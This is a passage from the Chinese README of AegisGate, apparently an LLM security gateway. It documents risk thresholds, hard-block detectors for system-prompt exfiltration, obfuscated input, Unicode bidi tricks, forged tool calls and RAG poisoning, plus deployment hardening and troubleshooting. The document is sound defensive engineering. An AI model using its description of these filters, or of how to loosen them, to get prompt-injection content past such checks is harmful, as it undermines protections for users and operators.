action_map 的 block 最高把风险分抬到 0.95。因此:

  • medium / high:block 能够达到阈值,OutputSanitizer 与 RestorationFilter 里 基于分数的拦截分支会真正触发——与控制台一直呈现的语义一致。
  • low + default/permissive:阈值 clamp 到 1.0,基于分数的拦截不触发。这一档的防护来自 不依赖阈值的硬处置路径(见下)与 AEGIS_STRICT_COMMAND_BLOCK_ENABLED。这符合"极宽松、基本只脱敏"的定位。

medium 此前是 ×1.30,在三个自带策略上都 clamp 到 1.0,导致 medium 与 low 完全等价、 且基于分数的拦截永不触发。前后对比见 CHANGELOG.md。

不依赖阈值的硬处置:injection_detector 与 rag_poison_guard 的 block 会直接设置 request_disposition / response_disposition,任何级别下都强制拦截:

  • injection_detector:system_exfil(系统提示泄露)、obfuscated(编码混淆攻击,含消息级多脚本噪声注入)、unicode_bidi(bidi 方向控制攻击)、tool_call_injection(伪造工具调用,覆盖 OpenAI/Anthropic/Gemini/Bedrock/ReAct/MCP 等约 26 种模式)、spam_noise(赌博/色情/平台垃圾内容噪声,>=2 类别组合时触发)
  • rag_poison_guard:ingestion_poison、poison_propagation

以上 injection_detector 的五项同时列入 non_reducible_categories:即使命中「研究/教学/引用」等讨论上下文,风险分也不会被下调。

注意 block 语义并不统一:restoration(exfiltration / too_many_placeholders / stale_mapping)与 sanitizer(system_leak)配的 block 只把风险分抬到 0.95,不设置 disposition,因此仍然受上表的阈值约束——在 medium / high 下会真正拦截,在 low + default/permissive 下不会。这与 injection_detector / rag_poison_guard 的 block(任何档位都强制拦截)仍有差别,控制台「动作映射」页把两者呈现为统一语义, 该表述差异记录在 ROADMAP.md R6 第 2 条。

如果你的场景确实需要放宽 tool_call_injection(例如上游会正常回传工具调用的文本表示),可在 security_filters.yaml 中把 action_map.injection_detector.tool_call_injection 改为 review,并把它从 non_reducible_categories 中移除。默认保持强拦截。

5.3 语义复核模块

当前主链路的语义复核受 AEGIS_ENABLE_SEMANTIC_MODULE 控制,并通过 AEGIS_SEMANTIC_SERVICE_URL 指向的服务执行:

  • 运行开关:AEGIS_ENABLE_SEMANTIC_MODULE=true 时启用语义复核阶段;设为 false 时完全跳过该阶段。
  • 灰区门控:仅当当前风险评分落在 (AEGIS_SEMANTIC_GRAY_LOW, AEGIS_SEMANTIC_GRAY_HIGH) 时才触发语义复核;非灰区直接跳过以降低延迟。
  • 服务地址:AEGIS_SEMANTIC_SERVICE_URL 为空时,运行态会在灰区触发时记录 semantic_service_unconfigured 并降级(不做语义风险抬升),不会自动切回仓库内 TF-IDF 路径。
  • 服务协议:POST AEGIS_SEMANTIC_SERVICE_URL,入参 {"text":"..."};返回 {"risk_score":0.0-1.0,"tags":[],"reasons":[]}。
  • 仓库内资产:仓库仍保留 aegisgate/core/tfidf_model.py、aegisgate/models/tfidf/* 与 scripts/train_tfidf.py,用于离线实验、模型资源维护或后续接线,不应视为当前默认线上链路。
  • 本地资源维护:如需维护仓库内 TF-IDF 模型文件,可执行 pip install scikit-learn jieba datasets && python scripts/train_tfidf.py

AEGIS_V2_RESPONSE_FILTER_BYPASS_HOSTS 示例: moltbook.com,semanticscholar.org,openalex.org,arxiv.org,pubmed.ncbi.nlm.nih.gov,search.crossref.org,core.ac.uk,doaj.org

完整可调项见:

6. 安全与边界说明

  • 仅支持单进程部署:请求统计、admin/UI 限流窗口、内存态 HMAC nonce 防重放缓存 (AEGIS_NONCE_CACHE_BACKEND=memory)、规则编译 LRU 缓存与后台清理 worker 都是进程内单例。 以 uvicorn --workers > 1 或多实例共用同一份配置目录部署时,这些语义会静默破裂而不是报错 (统计丢数、限流与防重放被绕过)。需要水平扩展请改用 Redis 存储/nonce 后端并拆分配置目录, 或优先纵向扩容。
  • 网关是安全中间层,不负责上游模型参数(如 model/api-key/超时)语义正确性。
  • 默认会写日志和审计文件到本地;是否包含正文取决于日志级别与策略配置。
  • 当 AEGIS_LOG_LEVEL=debug 且 AEGIS_LOG_FULL_REQUEST_BODY=true 时,请求体会完整打印(含 function/tool 输出原文),仅建议在受控环境短时开启。
  • 安全自动化:
    • 网关密钥保存在 config/aegis_gateway.key(首次启动自动生成,权限 0600)。查看:cat config/aegis_gateway.key。
    • AEGIS_ENCRYPTION_KEY 留空时自动生成 Fernet 加密密钥(持久化到 config/aegis_fernet.key,文件权限 0600)。脱敏映射使用 AES-128-CBC+HMAC 加密存储,不再使用 base64。
    • 管理端点内置速率限制(默认每 IP 每分钟 30 次)和内网 IP 校验。
    • v2 代理默认启用 SSRF 防护,阻止请求到内网地址和云元数据端点。
  • 若对外网开放,建议至少做到:
    • 确认 config/aegis_gateway.key 已存在且为高强度值(所有管理端点和 UI 登录都需要此 key 认证)
    • 启用 AEGIS_ENABLE_REQUEST_HMAC_AUTH=true
    • 配置 AEGIS_TRUSTED_PROXY_IPS(仅信任你的反向代理 IP,支持 CIDR)
    • 在入口网关(Nginx/Caddy/WAF)上加 IP 白名单、限流与访问控制
    • 管理端点 POST /__gw__/register|lookup|unregister|add|remove 仅允许内网来源访问
  • OAuth 托管登录模式通常无法配置 Base URL/Header,不适合接入 AegisGate;建议统一使用 API Key + Base URL 模式。

7. 测试

运行全部测试:

pytest -q

8. 常见问题

8.1 sqlite3.OperationalError: unable to open database file

典型原因是容器内路径不可写。优先检查:

  • AEGIS_SQLITE_DB_PATH 指向的路径是否可写
  • 宿主机挂载目录权限是否正确

8.2 Token 路径请求返回 token_not_found

  • token 未注册
  • token 已被删除
  • AEGIS_GW_TOKENS_PATH 未持久化导致重启后丢失

8.3 上游返回 4xx/5xx

网关会透传上游错误摘要。请先独立验证上游接口可用,再检查网关策略拦截。

8.4 流式日志出现 upstream_eof_no_done 或 terminal_event_no_done_recovered:*

这两类日志现在要分开理解:

  • upstream_eof_no_done:上游流式连接提前关闭,未按协议发送 data: [DONE]。网关会自动恢复并补发终止信号。
  • terminal_event_no_done_recovered:response.completed|response.failed|error:网关已经收到了上游明确的终止事件,但上游在发送 [DONE] 前就关闭了连接。这类情况不再记成泛化的 EOF 恢复。

自动恢复行为按路由不同,只有以下三条链路会补终止信号:

  • chat/completions:合成包含恢复提示的可见文本 chunk。
  • responses:补发 [DONE];若没有显式终止事件,必要时合成 response.completed 终止事件。
  • v2(SSE 流):自动补发 data: [DONE]\n\n,保证客户端收到终止信号。
  • /v1/messages 与通用 /v1/<子路径> 没有这个分支:上游在哪里断,客户端就在哪里看到流截断。补上属于新增行为而非缺陷修复,需要单独评估客户端兼容性,记录在 ROADMAP.md。

排查建议:

  • 这通常是上游或其中间代理链路(CDN/反代)问题,不是网关把 SSE chunk 拆成了多个请求。
  • /v1/responses 现在会把 x-aegis-request-id 一起转发到上游,forward_stream start/connected 日志也会带同一个 request_id。
  • 如果网关里同一时间窗出现很多 incoming request,但只有少量匹配 request_id 的 forward_stream start/connected,说明额外流量是新的 HTTP 请求反复打进网关,而不是单条 SSE 被拆成多次上游调用。
  • 建议同时排查上游超时、代理 read timeout、连接重置日志。
  • 2026-03 优化:网关对带 event: 头的 Responses SSE 现按完整事件帧缓存和转发,不再按单行拆分,避免 event: 与对应 data: 错位,导致客户端把 response.output_text.delta、response.output_text.done、response.completed 配对错误。

8.5 v2 请求返回 missing_target_url_header

当前实现里,这个错误码会复用于三种目标解析失败场景:

  • 请求未携带 x-target-url,或该 Header 为空
  • Header 值不是完整的 http:// 或 https:// URL
  • 目标主机未命中 AEGIS_V2_TARGET_ALLOWLIST

排查方式:

  • v2 仅通过 x-target-url 请求头获取目标地址,URL 路径中的子路径不参与目标解析。
  • 确认 Header 里传递的是完整 URL,包含 query string,例如:x-target-url: https://api.example.com/v1/data?page=1
  • 确认目标主机已加入 AEGIS_V2_TARGET_ALLOWLIST

8.6 v2 上游返回 3xx 重定向,但客户端未跳转

v2 不自动跟随重定向(follow_redirects=false),Location 头会透传给客户端。 客户端需自行处理重定向,或在 x-target-url 直接指定最终地址。

9. 许可证

MIT